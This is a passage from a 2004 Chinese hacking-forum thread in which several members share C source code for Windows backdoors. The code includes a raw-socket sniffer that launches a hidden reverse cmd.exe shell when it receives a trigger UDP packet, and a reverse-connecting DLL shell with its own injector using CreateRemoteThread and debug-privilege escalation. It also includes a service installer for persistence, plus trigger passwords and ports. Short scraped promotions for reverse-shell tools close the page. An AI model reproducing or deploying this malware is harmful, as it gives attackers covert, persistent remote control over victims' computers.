   HANDLE  hWritePipe;        
   HANDLE  hWriteFile;            
   HANDLE  hReadPipe;          
   HANDLE  hReadFile;          
   SECURITY_ATTRIBUTES pipeattrA;  
   SECURITY_ATTRIBUTES pipeattrB;  
   PROCESS_INFORMATION procinfo;  
}USERCONTSTK,*PUSERCONTSTK;

//后门参数结构
typedef struct _MAINPARAMETERSTK{
   char szUserPasd[100];
   char KeyData[100];
}MAINPARAMETERSTK,*PMAINPARAMETERSTK;

//嗅探数据结构
typedef struct _SNIFFERDATASTK{
   char name[100];
   char szIp[100];
   char nPort[100];
}SNIFFERDATASTK,*PSNIFFERDATASTK;

//ip头部结构
typedef struct _iphdr {
   unsigned char h_lenver;    
   unsigned char tos;      
   unsigned short total_len;  
   unsigned short ident;      
   unsigned short frag_and_flags;
   unsigned char ttl;      
   unsigned char proto;        
   unsigned short checksum;    
   unsigned int sourceIP;      
   unsigned int destIP;        
}IP_HEADER;

//tcp头部结构
typedef struct _tcphdr {
   USHORT th_sport;        
   USHORT th_dport;        
   unsigned int th_seq;        
   unsigned int th_ack;        
   unsigned char th_lenres;    
   unsigned char th_flag;      
   USHORT th_win;          
   USHORT th_sum;          
   USHORT th_urp;          
}TCP_HEADER;

//udp头部结构
typedef struct _udphdr {
   unsigned short uh_sport;    
   unsigned short uh_dport;    
   unsigned short uh_len;      
   unsigned short uh_sum;      
} UDP_HEADER;

//icmp头部结构
typedef struct _icmphdr {
   BYTE  i_type;          
   BYTE  i_code;          
   USHORT i_cksum;        
   USHORT i_id;            
   USHORT i_seq;          
   ULONG timestamp;        
}ICMP_HEADER;

//一些变量和函数的声名
extern MAINPARAMETERSTK mpStk;

extern void ConCloseSocket(SOCKET *Sock);
extern int LocalListen(SOCKET Sock);
extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);
extern int SetSocketDll(void);
extern int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE);
extern void rnvCasemsg(SOCKET Sock, char *msg);
extern void rnvErrorID(SOCKET Sock, char *msg);
extern void ConDel1013(char *str);
extern short chkPass(char *pass);
extern short getcmdline(char *comm, char *cmdline, short cont, short num);
extern int msGetip(char *ipin, char* ipout);
extern void ConCloseHandle(HANDLE *Hand);
extern void xfree(char *bf);


所有的公共函数都在这里面.

后语:

之所以写这么多代码是因为我本人喜欢比较稳定的程序,大小不是问题,上面这个程序应该算是非常稳定的后门框架了(因为只用socket 1.0的函数写),包括用户shell和sniffer连接部分,用户可以无限次数的断开,重复连接,产生shell和退出,不会造成句柄和内存的堆积等等问题.

另外,刚才看了看代码,发现不需要用的东西还是很多,大概是为了升级和扩充方便,很多地方留下了接口,有时间我会发一个精简的代码.^_^.

以下是编译好后测试的一张图:
主机是192.168.1.2,目标机器是192.168.1.3,本机监听端口为8888,默认的数据包标志是"www.s8s8.net",密码为"zvrop".

发送数据包是用vc的-u发送udp数据,c:/x.txt里面的内容是:
CODE

www.s8s8.net zvrop 192.168.1.2 8888

分别是数据包标志,密码,反向连接ip,反向连接端口,中间用空格格开

注意顺序不要颠倒.
cnhackTNT
活活~~相比起来还是ZV兄的比较牛些
看来要动动脑子重写一个。。。
sql
我晕。。好长的代码,够我看一会的了。。zv果然很强。。佩服五体投地。。。
cnhackTNT
QUOTE(sql @ 2004-08-24 19:53:19)
我晕。。好长的代码,够我看一会的了。。zv果然很强。。佩服五体投地。。。

....我只会基础的c,不会c++........
哎~我还是老老实实用我的perl
ZV
QUOTE(cnhackTNT @ 2004-08-24 19:58:59)
QUOTE(sql @ 2004-08-24 19:53:19)
我晕。。好长的代码,够我看一会的了。。zv果然很强。。佩服五体投地。。。

....我只会基础的c,不会c++........
哎~我还是老老实实用我的perl

^_^.......我的代码没有用c++,就是用c写的.之所以用cpp的后缀是为了用扩展的c(VC中如果用.c做后缀,那么默认就是ANSI的c,太别扭了).

注释是要加点,我再去修改一下..
sql
啊~~~嘎嘎~~~~今天晚上收获不小,我在win下编程碰到的一个难题居然在Z秃代码中找到了大案,HOHO~~~~
cnhackTNT
QUOTE(ZV @ 2004-08-24 20:02:48)
QUOTE(cnhackTNT @ 2004-08-24 19:58:59)
....我只会基础的c,不会c++........
哎~我还是老老实实用我的perl

^_^.......我的代码没有用c++,就是用c写的.之所以用cpp的后缀是为了用扩展的c(VC中如果用.c做后缀,那么默认就是ANSI的c,太别扭了).

注释是要加点,我再去修改一下..

我的意思是,只懂基础的c,同时也不懂c++,无法用c或者c++写网络程序。。。。
记忆碎片
zv把lencher扔出来了?
weibo
ZV的代码的确很完整。。。。这就是我推荐让ZV做框架的原因~~~哈哈

大家一起来完成剩下的功能代码。。主要框架就交给ZV~!~!~
ZV
多个人一起写的话,还是用插件比较好,虽然会浪费一点点体积,不过兼容性最好,目前嘛,还是大家各自把代码show出来,让更多的人都参与.

to碎片:这个的确是lecher的一部分,不过我修改了很多代码,lecher相比来说更复杂点.毕竟它是dll,这个是exe.
sql
这个方法就类似于我在上面那个linux后门里dup2函数的作用差不多。都是重定向。
记忆碎片
斑竹研讨大会....
ZV
都继续讨论呀,不怎么积极呢.

这里只是实现了接口和shell,那些周边部分的呢,线程插入,dll插入,服务,甚至你可以把写了驱的代码都拿出来嘛.谁来?
weibo
又重新写了这个后门。。。。

我还有1天时间就离开北京了。。。

这可能就是我在北京写的最后一个程序.......



headerf.h

这里面放了公共函数,还有一些声明
CODE

#ifndef _BDH_
#define _BDH_
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib,"ws2_32.lib")
#define SIO_RCVALL  _WSAIOW(IOC_VENDOR,1)

typedef struct _iphdr{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_frag;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;

typedef struct _udphdr{
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_len;
unsigned short uh_sum;
}UDP_HEADER;



extern int StartSniffer();
extern void StartWSA();
extern void returnMessage(SOCKET *Sock,char *msg);
extern void CreatePipeInSock();
extern int SetSocketHandle(SOCKET *Sock);
extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);

#endif



这里就是sniffer...这个sniffer只解析IP和UDP包。。。通过对UDP的解析来启动木马进程.
对于UDP解析来启动木马这块还没有怎么完善。只是很简单的。。。等待大家来补充了。。

最好解析UDP来提取内容。判断用户名。密码。然后启动木马进程
sniffer.cpp
CODE


#include "headerf.h"
//---------------------------------------------------------------------------

//-----------------------------
char rcvbuf[65535];
SOCKADDR_IN siSource;
extern SOCKET ReSock;
char SourceIPAddr[16];
unsigned short SourcePort;
bool CanCon=true;
char WelcomeBuff[200] = "++++++++++++++++++++++++++++++++++++/r/n"
  "+EasyService  BackDoor/r/n"
  "+Coder By weibo(wbwap@sina.com)/r/n"
  "+Site  http://www.s8s8.net/r/n"
  "++++++++++++++++++++++++++++++++++++/r/n";
//-----------------------------
void DecodeIpPack(char *buf,int irec);
void DecodeUdpPack(char *buf,unsigned int buflen);
int msGetip(char *ipin, char* ipout);
void StartBackDoor(SOCKET *Sock,char *IPaddr);
//------------------------------
int StartSniffer()
{
       SOCKET SniffSock;
       struct sockaddr_in addr;
       unsigned char LocalName[256];
       struct hostent * hp;
       int ntime=1000;
       int rec;
       DWORD dwBufferLen[10];
       DWORD dwBufferInLen = 1;
       DWORD dwBytesReturned = 0;
       char in[20]="",out[20]="";
       StartWSA();
       SniffSock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);
       setsockopt(SniffSock,SOL_SOCKET,SO_RCVTIMEO,(char*)&ntime,sizeof(ntime));
       addr.sin_family = AF_INET;
       addr.sin_port = INADDR_ANY;
       msGetip(in,out);
       addr.sin_addr.S_un.S_addr = inet_addr(out);
       bind(SniffSock,(PSOCKADDR)&addr, sizeof(addr));
       WSAIoctl(SniffSock,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned ,NULL ,NULL);
       while(1)
       {
               memset(rcvbuf,0,sizeof(rcvbuf));
               rec = recv(SniffSock,rcvbuf,sizeof(rcvbuf),0);
               DecodeIpPack(rcvbuf,rec);


       }
}
//---------------------------------------------------------------------------
void DecodeIpPack(char *buf,int irec)
{
       int iproto;
       int iIphlen;
       IP_HEADER *pIPheader;
       pIPheader = (IP_HEADER *)buf;
       iproto=pIPheader->proto;
       iIphlen = sizeof(unsigned long) * (pIPheader->h_lenver & 0xf);

       if (iproto == IPPROTO_UDP)
       {
               siSource.sin_addr.s_addr = pIPheader->sourceIP;
               strncpy(SourceIPAddr,inet_ntoa(siSource.sin_addr),16);
               //printf("包类型:%s/n源IP:%s   ","UDP",SourceIPAddr);
               DecodeUdpPack(buf+iIphlen,irec);
       }

}

void DecodeUdpPack(char *buf,unsigned int buflen)
{
       char str[10];
       UDP_HEADER *pUdpheader;
       pUdpheader=(UDP_HEADER *)buf;
       siSource.sin_port = pUdpheader->uh_sport;
       SourcePort=ntohs(siSource.sin_port);

//这个地方就是判断是否启动进程的地方!!!!!!!!!!!!!!!!!!!
//这里是 如果塬端口为9876 才会起动木马进程。。连接你的1234断口   这些都可以改
//最好的方法是Decode UDP包。。然后分析内容。。。作判断是否打开木马。。。。
//没时间了。。。。

       if(CanCon)
       {
               if(SourcePort == 9876)
               {
                       StartBackDoor(&ReSock,SourceIPAddr);
               }
               CanCon=false;
       }
}


int msGetip(char *ipin, char* ipout)
{
  char cHostName[80]="";
  if((gethostname(cHostName, 80)) == SOCKET_ERROR)
      return false;
  struct hostent *Host = gethostbyname(cHostName);
  if(NULL!=Host){
      struct in_addr addr;
      int i = 0;
      while(Host->h_addr_list[i] != NULL){
          memcpy(&addr, Host->h_addr_list[i], sizeof(addr));
          if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){
              if(strlen(ipin) == 0){
                  strcpy(ipin, inet_ntoa(addr));
              }
          }else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){
              if(strlen(ipin) == 0){
                  strcpy(ipin, inet_ntoa(addr));
              }
          }else if(addr.S_un.S_un_b.s_b1 == 10 ){
              if(strlen(ipin) == 0){
                  strcpy(ipin, inet_ntoa(addr));
              }
          }else{
              if(strlen(ipout) == 0){
                  strcpy(ipout, inet_ntoa(addr));
              }
          }
          i++;
      }
      if(strlen(ipout) == 0) {
          strcpy(ipout, ipin);
      }
      if(strlen(ipin) == 0){
          strcpy(ipin, ipout);
      }
      return 1;
  }
  return 0;
}

void StartBackDoor(SOCKET *Sock,char *IPaddr)
{
       int rec;
//StartWSA();
       SetSocketHandle(Sock);
       rec = ContoReServer(Sock,1234,IPaddr);
       returnMessage(Sock,WelcomeBuff);
       CreatePipeInSock();
switch(rec)
{
 case 0:
  closesocket(ReSock);
  CanCon = true;
  break;
 case 1:
  CanCon = false;
  break;
}
}



这就是服务的主体。。。。。。。

本来还有个自动加为服务的功能。。。没时间了,马上走了。收拾东西去。。~~~~ZV来写吧。。。。
可以用 CreateService()函数。。
服务这块需要大家来改进~~

con.cpp
CODE


#include "headerf.h"
//---------------------------------------------------------------------------
STARTUPINFO si;
PROCESS_INFORMATION pi;
SOCKET ReSock;
//-------------------------------

//---------------------------
void StartWSA()
{
       WSADATA wsa;
       
       WSAStartup(MAKEWORD(2,2),&wsa);
}

int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr)
{
  int namelen;
  struct sockaddr_in server_addr;
  server_addr.sin_family = AF_INET;
  server_addr.sin_port   = htons(port);
  server_addr.sin_addr.S_un.S_addr = inet_addr(reAddr);
  namelen = sizeof(server_addr);
  if(connect(*sock, (SOCKADDR *)&server_addr,namelen) < 0 )
      return 0;
  return 1;
}

int SetSocketHandle(SOCKET *Sock)
{
  *Sock = WSASocket(PF_INET,SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  if(*Sock == SOCKET_ERROR)
      return 0;
  return 1;
}


void returnMessage(SOCKET *Sock,char *msg)
{
  if (strlen(msg) <= 0)
      return;
  send(*Sock,msg,strlen(msg),0);
}
//下面这个是重订向si到Resock....等于一个简单的管道。。
//没太多时间。为了省事。。能实现cmd.
//最好能改写成管道CreatePipe()..
//这样可以对数据进行分析。。以便加入别的控制。。。。。。
void CreatePipeInSock()
{
       memset(&si, 0, sizeof(si));
       si.cb = sizeof(si);
       si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
       si.wShowWindow=SW_HIDE;
       si.hStdInput = si.hStdOutput = si.hStdError = (void *)ReSock;
       CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi );
}


backdoor.cpp
CODE

#include "headerf.h"
//---------------------------------------------------------------------------
const int c_nEventCt = 3;
const int c_nEventIndexPause = 0;
const int c_nEventIndexContinue = 1;
const int c_nEventIndexStop = 2;
HANDLE g_arEventControl[c_nEventCt];
SERVICE_STATUS_HANDLE g_ssh;
DWORD g_dwStatus = SERVICE_STOPPED;
#pragma argsused
//服务状态给SCM
void SetStatus(DWORD dwStatus)
{
       SERVICE_STATUS ss =
               {
                       SERVICE_WIN32_OWN_PROCESS,
                       SERVICE_STOPPED,
                       SERVICE_ACCEPT_PAUSE_CONTINUE|
                       SERVICE_ACCEPT_STOP,
                       NO_ERROR,
                       0,
                       1,
                       5000
               };
       ss.dwCurrentState = dwStatus;
       SetServiceStatus(g_ssh,&ss);
       g_dwStatus = dwStatus;
}

//命令处理
VOID __stdcall Handler(DWORD dwCtl)
{
       switch(dwCtl)
       {
               case SERVICE_CONTROL_STOP:
                      WSACleanup();
                       break;

               default:
                       //nomal
                       break;
       }
}

bool HandleControl()
{
       bool bContinueRunning(true);

       DWORD dwWait = WaitForMultipleObjects(
                                               c_nEventCt,
                                               g_arEventControl,
                                               FALSE,
                                               0
                                               );
       int nIndex = dwWait - WAIT_OBJECT_0;
       if(nIndex>=0 && nIndex<c_nEventCt)
       {
               ResetEvent(g_arEventControl[nIndex]);

               switch(nIndex)
               {
                       case c_nEventIndexPause:
                               SetStatus(SERVICE_PAUSED);
                               break;
                       case c_nEventIndexContinue:
                               SetStatus(SERVICE_RUNNING);
                               break;
                       case c_nEventIndexStop:
                               SetStatus(SERVICE_STOP_PENDING);
                               bContinueRunning = false;
                               break;
               }
       }
       return (bContinueRunning);
}

VOID __stdcall ServiceMain(DWORD dwArgc,LPSTR* lpszArgv)
{
       g_arEventControl[c_nEventIndexPause] = CreateEvent(NULL,TRUE,FALSE,NULL);
       g_arEventControl[c_nEventIndexContinue] = CreateEvent(NULL,TRUE,FALSE,NULL);
       g_arEventControl[c_nEventIndexStop] = CreateEvent(NULL,TRUE,FALSE,NULL);

       g_ssh = RegisterServiceCtrlHandler(lpszArgv[0],Handler);

       SetStatus(SERVICE_START_PENDING);
       SetStatus(SERVICE_RUNNING);

       while(HandleControl())
       {
               if(g_dwStatus == SERVICE_RUNNING)
               {

                       StartSniffer();

               }

       }

       for(int nEvent = 0;nEvent < c_nEventCt;++nEvent)
       {
               CloseHandle(g_arEventControl[nEvent]);
               g_arEventControl[nEvent] = INVALID_HANDLE_VALUE;

       }

       SetStatus(SERVICE_STOPPED);
}

int __stdcall WinMain(
                       HINSTANCE hInstance,
                       HINSTANCE hPrevInstance,
                       LPSTR lpszCmdLine,
                       int nCmdShow
                       )
{
       SERVICE_TABLE_ENTRY arSvc[] =
       {
               {"ConEvent",ServiceMain},
               {NULL,NULL}
       };

       StartServiceCtrlDispatcher(arSvc);
return 0;
}




手动加为服务

编译好后
进入cmd

运行 sc create 随便一个名字 binpath= path

例子: sc create BackDoor binpath= c:/backdoor.exe


这个很草。。。。。。等我度过军训。有时间了。。回来再写~~~~88


附件是我用bcb6写的。。。
weibo
这是效果图
dahubaobao
我终于可以使用CODE标签了 &nbsp;本来想写个线程插入的

但总是地址不对 还是写个DLL比较顺手 这个DLL比较

简单 基本就是EXE“改”的DLL在加一个注射器就搞

定了 呵呵 程序还很不完善 多多包含!

DLLBackConn.cpp Code:

CODE


#include <winsock2.h>
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32.lib")

#define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,(s))

#define Port 1986              //目的端口
#define DestIP "127.0.0.1"     //目的IP
#define PASSWORD "dahubaobao"  //连接密码

#define PASSSUCCESS "Password success!/n"
#define PASSERROR "Password error./n"
#define BYEBYE "ByeBye!/n"

#define WSAerron WSAGetLastError()
#define erron GetLastError()

DWORD WINAPI DLLConnMain (LPVOID lpNot);

//VOID WINAPI DLLBackMain (LPVOID s);
BOOL DLLBackMain (SOCKET sock);

//extern "C" __declspec(dllexport)
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID lpvReserved)
{
    DWORD ThreadID=0;
    HANDLE hThread=NULL;

    switch (fwdreason)
    {
            case DLL_PROCESS_ATTACH:

                 hThread=CreateThread(NULL,0,DLLConnMain,NULL,0,&ThreadID);

                 if (hThread==NULL)
                     break;

                 break;

            default:break;
    }

    return TRUE;
}

//extern "C" __declspec(dllexport)
DWORD WINAPI DLLConnMain (LPVOID lpNot)
{
     while (TRUE)
     {
            WSADATA wsadata;
            SOCKET s;
            struct sockaddr_in sai;
            int nRet=0;

            nRet=WSAStartup(MAKEWORD(2,2),&wsadata);

            if (nRet)
                return 0;

            sai.sin_family=AF_INET;
            sai.sin_port=htons(Port);
            sai.sin_addr.s_addr=inet_addr(DestIP);

            s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

            if (s==INVALID_SOCKET)
                return 0;

            nRet=connect(s,(struct sockaddr*)&sai,sizeof (struct sockaddr));

            if (nRet!=SOCKET_ERROR)
            {
                DLLBackMain(s);
                //CreateThread(NULL,0,DLLBackMain,(LPVOID)s,0,NULL);
                Sleep(1000);
                continue;
            }
            else
            {
                Sleep(1000);
                continue;
            }

            //Sleep(1000);
     }
}

//extern "C" __declspec(dllexport)
//VOID WINAPI DLLBackMain (LPVOID s)
BOOL DLLBackMain (SOCKET sock)
{
   //SOCKET sock=(SOCKET)s;
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   HANDLE hRead=NULL,hWrite=NULL;
   TCHAR PassBuf[20]={0};     //接收密码缓冲
   TCHAR PassBanner[]="/nPassword:";
   TCHAR CmdSign[]="/ndahubaobao://>";
   TCHAR Banner[]="---------dahubaobao backdoor---------/n";
   int nRet=0;

   nRet=send(sock,Banner,sizeof (Banner),0);

   if (nRet==SOCKET_ERROR)
   {
       #ifdef DEBUGMSG
              sprintf(MsgError,"send() GetLastError reports %d/n",WSAerron);
              send(sock,MsgError,sizeof (MsgError),0);
       #endif
       goto Clean;
   }

   while (TRUE)
   {
          nRet=send(sock,PassBanner,sizeof (PassBanner),0);

          if (nRet==SOCKET_ERROR)
          {
              #ifdef DEBUGMSG
                     sprintf(MsgError,"send() GetLastError reports %d/n",WSAerron);
                     send(sock,MsgError,sizeof (MsgError),0);
              #endif
              goto Clean;
          }

          nRet=recv(sock,PassBuf,sizeof (PassBuf)-1,0);

          if (strnicmp(PassBuf,PASSWORD,strlen(PASSWORD))==0)
          {
              #ifdef DEBUGMSG
                     send(sock,PASSSUCCESS,sizeof (PASSSUCCESS),0);
              #endif
              break;
          }
          else
          {
              #ifdef DEBUGMSG
                     send(sock,PASSERROR,sizeof (PASSERROR),0);
              #endif
              continue;
          }

          if (nRet==SOCKET_ERROR)
          {
              #ifdef DEBUGMSG
                     sprintf(MsgError,"recv() GetLastError reports %d/n",WSAerron);
                     send(sock,MsgError,sizeof (MsgError),0);
              #endif
              goto Clean;
          }

          Sleep(100);
   }

   while (TRUE)
   {
          TCHAR MsgError[50]={0};
          TCHAR Cmdline[300]={0};
          TCHAR RecvBuf[1024]={0};
          TCHAR SendBuf[2048]={0};
          SECURITY_ATTRIBUTES sa;
          DWORD bytesRead;
          int ret;

          sa.nLength=sizeof(SECURITY_ATTRIBUTES);
          sa.lpSecurityDescriptor=NULL;
          sa.bInheritHandle=TRUE;

          if (!CreatePipe(&hRead,&hWrite,&sa,0))
          {
              #ifdef DEBUGMSG
                     sprintf(MsgError,"CreatePipe() GetLastError reports %d/n",erron);
                     send(sock,MsgError,sizeof (MsgError),0);
              #endif          
              goto Clean;
          }

          si.cb=sizeof(STARTUPINFO);
          GetStartupInfo(&si);
          si.hStdError=hWrite;
          si.hStdOutput=hWrite;
          si.wShowWindow=SW_HIDE;
          si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

          GetSystemDirectory(Cmdline,sizeof (Cmdline));
          strcat(Cmdline,"//cmd.exe /c ");

          ret=send(sock,CmdSign,sizeof (CmdSign),0);

          if (ret==SOCKET_ERROR)
          {
              #ifdef DEBUGMSG
                     sprintf(MsgError,"send() GetLastError reports %d/n",WSAerron);
                     send(sock,MsgError,sizeof (MsgError),0);
              #endif
              goto Clean;
          }

          ret=recv(sock,RecvBuf,sizeof (RecvBuf),0);

          if (strnicmp(RecvBuf,"exit",4)==0||strnicmp(RecvBuf,"quit",4)==0)
          {
              #ifdef DEBUGMSG
                     send(sock,BYEBYE,sizeof (BYEBYE),0);
              #endif
              goto Clean;
          }

          if (ret<=0)
          {
              #ifdef DEBUGMSG
                     sprintf(MsgError,"recv() GetLastError reports %d/n",WSAerron);
                     send(sock,MsgError,sizeof (MsgError),0);
              #endif
              goto Clean;
          }

          if (ret==SOCKET_ERROR)
          {
              #ifdef DEBUGMSG
                     sprintf(MsgError,"recv() GetLastError reports %d/n",WSAerron);
                     send(sock,MsgError,sizeof (MsgError),0);
              #endif          
              continue;
          }

          strncat(Cmdline,RecvBuf,sizeof (RecvBuf));

          if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
          {
              #ifdef DEBUGMSG
                     sprintf(MsgError,"CreateProcess() GetLastError reports %d/n",erron);
                     send(sock,MsgError,sizeof (MsgError),0);
              #endif          
              continue;
          }

          CloseHandle(hWrite);

          while (TRUE)
          {
                 if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)
                     break;
                 send(sock,SendBuf,bytesRead,0);
                 memset(SendBuf,0,sizeof (SendBuf));
                 Sleep(200);
          }

          Sleep(200);
   }

   Clean:
         if (hRead!=NULL)
             CloseHandle(hRead);

         if (hWrite!=NULL)
             CloseHandle(hWrite);

         if (sock!=NULL)
             closesocket(sock);

         WSACleanup();
         return 0;
         //ExitThread(0);
}





InjectDLL.cpp Code:

CODE


#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#define erron GetLastError()

BOOL EnablePrivilege(LPTSTR PrivilegeName);

int main (int argc, TCHAR *argv[])
{
   HANDLE hProc=NULL,hThread=NULL;
   LPTSTR DLLFileNameAlloc=NULL;
   PTHREAD_START_ROUTINE ptsr=NULL;
   TCHAR DLLBuffer[100]={0};
   DWORD ThreadID=0;

   if (argc!=3)
   {
       fprintf(stderr,"Code by dahubaobao/n"
               "Usage:%s [FileName_DLL] [ProcessID]/n",argv[0]);
       return 0;
   }

   //获取系统目录
   if (!GetSystemDirectory(DLLBuffer,sizeof (DLLBuffer)))
   {
       #ifdef DEBUGMSG
              printf("GetSystemDirectory() GetLastError reports %d/n",erron);
       #endif
       goto Close;
   }

   lstrcat(DLLBuffer,"//");
   lstrcat(DLLBuffer,argv[1]);
   //拼接为系统目录+DLL文件名

   //把当前目录下的DLL复制到系统目录
   if (!(CopyFile(argv[1],DLLBuffer,FALSE)))
   {
       #ifdef DEBUGMSG
              printf("CopyFile() GetLastError reports %d/n",erron);
       #endif
       goto Close;
   }

   //删除当前目录下的DLL
   if (!(DeleteFile(argv[1])))
   {
       #ifdef DEBUGMSG
              printf("DeleteFile() GetLastError reports %d/n",erron);
       #endif
       goto Close;
   }

   EnablePrivilege(SE_DEBUG_NAME);    //提升权限

   //打开进程
   hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,atol(argv[2]));

   if (hProc==NULL)
   {
       #ifdef DEBUGMSG
              printf("OpenProcess() GetLastError reports %d/n",erron);
       #endif
       return 0;
   }

   Sleep(100);

   //在目标进程分配内存
   DLLFileNameAlloc=(LPTSTR)VirtualAllocEx(hProc,NULL,lstrlen(DLLBuffer)+1,
                                           MEM_COMMIT,PAGE_READWRITE);

   if (DLLFileNameAlloc==NULL)
   {
       #ifdef DEBUGMSG
              printf("VirtualAllocEx() GetLastError reports %d/n",erron);
       #endif
       goto Close;
   }

   //将DLL路径名写入进程的内存空间中
   if (WriteProcessMemory(hProc,DLLFileNameAlloc,(LPVOID)DLLBuffer,lstrlen(DLLBuffer),NULL)==0)
   {
       #ifdef DEBUGMSG
              printf("WriteProcessMemory() GetLastError reports %d/n",erron);
       #endif
       goto Close;
   }

   //计算LoadLibraryA()的地址
   ptsr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("kernel32")),"LoadLibraryA");

   if (ptsr==NULL)
   {
       #ifdef DEBUGMSG
              printf("GetProcAddress() GetLastError reports %d/n",erron);
       #endif
       goto Close;
   }

   //将DLL注射到进程当中
   hThread=CreateRemoteThread(hProc,NULL,0,ptsr,DLLFileNameAlloc,0,&ThreadID);

   if (hThread==NULL)
   {
       #ifdef DEBUGMSG
              printf("CreateRemoteThread() GetLastError reports %d/n",erron);
       #endif
       goto Close;
   }
   else
       goto Close;

   Close:
         if (hProc!=NULL)
             CloseHandle(hProc);

         if (hThread!=NULL)
             CloseHandle(hThread);

         return 0;

}

BOOL EnablePrivilege(LPTSTR PrivilegeName)
{
    HANDLE hProc=NULL,hToken=NULL;
    TOKEN_PRIVILEGES TP;
    hProc=GetCurrentProcess();

    if(!OpenProcessToken(hProc,TOKEN_ADJUST_PRIVILEGES,&hToken))
    {
       #ifdef DEBUGMSG
              printf("OpenProcessToken() GetLastError reports %d/n",erron);
       #endif
       return FALSE;
    }

    if(!LookupPrivilegeValue(NULL,PrivilegeName,&TP.Privileges[0].Luid))
    {
        #ifdef DEBUGMSG
               printf("LookupPrivilegeValue() GetLastError reports %d/n",erron);
        #endif
        if (hProc!=NULL)
            CloseHandle(hProc);
        return FALSE;
    }

    TP.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    TP.PrivilegeCount=1;

    if(!AdjustTokenPrivileges(hToken,FALSE,&TP,sizeof(TP),0,0))
    {
        #ifdef DEBUGMSG
               printf("AdjustTokenPrivileges() GetLastError reports %d/n",erron);
        #endif
        if (hProc!=NULL)
            CloseHandle(hProc);
        return FALSE;
    }

    if (hProc!=NULL)
        CloseHandle(hProc);

    if (hToken!=NULL)
        CloseHandle(hToken);

    return TRUE;
}

weibo
写了一个加入服务并启动服务的模块。。。。

CODE

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
//---------------------------------------------------------------------------

VOID CreateServiceAndStart(SC_HANDLE schSCManager,char* lpszName,char *lpszDisplayName,char *lpszBinaryPathName);
int main(int argc, char* argv[])
{
       SC_HANDLE hSCM = OpenSCManager(
                               NULL,
                               SERVICES_ACTIVE_DATABASE,
                               GENERIC_ALL);

       if (hSCM != NULL) CreateServiceAndStart(hSCM,"服务的名字","服务显示的名字","程序路径");else printf("Open SCManager Error!");

       CloseServiceHandle(hSCM);
       system("pause");
       return 0;
}
//---------------------------------------------------------------------------
VOID CreateServiceAndStart(SC_HANDLE schSCManager,char* lpszName,char *lpszDisplayName,char *lpszBinaryPathName)
{
   SC_HANDLE schService,hService,ServiceName;
   SERVICE_STATUS ss;

   schService = CreateService(
       schSCManager,
       lpszName,
       lpszDisplayName,
       SERVICE_ALL_ACCESS,
       SERVICE_WIN32_OWN_PROCESS,
       SERVICE_AUTO_START,
       SERVICE_ERROR_NORMAL,
       lpszBinaryPathName,
       NULL,
       NULL,
       NULL,
       NULL,
       NULL);

   if (schService == NULL)
       printf("ERROR");
   else
       printf("CreateService SUCCESS./n");
   CloseServiceHandle(schService);
   if((ServiceName = OpenService(schSCManager,lpszName,SERVICE_ALL_ACCESS))!=NULL)
   {
       hService = ServiceName;
   }
   ControlService(hService,SERVICE_CONTROL_STOP,&ss);
   StartService(hService,0,NULL);
   QueryServiceStatus(hService,&ss);
   if(ss.dwCurrentState == SERVICE_RUNNING) printf("Service is Running...");else printf("Start Service Error!");

   CloseServiceHandle(hService);
   CloseServiceHandle(ServiceName);

}
 
 
【自制小工具】安全攻防渗透测试一键生成反弹shell自动化工具 综合渗透或者打比赛时,是否手忙脚乱到处找反弹shell代码?可悲的是尝试千万遍,就是弹不回来。就在这样不断自我怀疑中错过了真正有价值信息,关键是浪费了精力和时间,遗憾错过getshell的突破时刻。在github上寻找了很多这类工具,发现几乎所有工具自动生成的反弹shell都不太全,而且没有文件级的反弹脚本,在真实环境中总因为没有合适的代码而失败而归。基于以上问题,我自行开发了这个软件。 阅读详情

相关推荐

渗透测试中反弹shell的27种实战方法全解析

反弹 shell 技术作为渗透测试领域的关键技能,犹如一把双刃剑,在专业人员手中,它是评估系统安全性、挖掘潜在漏洞的得力工具,能够帮助企业提前发现并修补安全防线的薄弱环节,有效抵御恶意攻击。但倘若落入不法之徒手中,便可能沦为窃取机密信息、破坏系统稳定、实施网络犯罪的凶器,给个人、企业乃至国家带来不可估量的损失。因此,对于广大网络安全从业者而言,深入理解并熟练掌握反弹 shell 技术不仅是提升个人专业素养的必经之路,更是维护网络空间安全稳定的职责所在。

互联网环境恶劣,现在积极的想从事网络安全行业 1587

操作系统权限维持(十六)之Linux系统- TCP Wrappers反弹shell后门

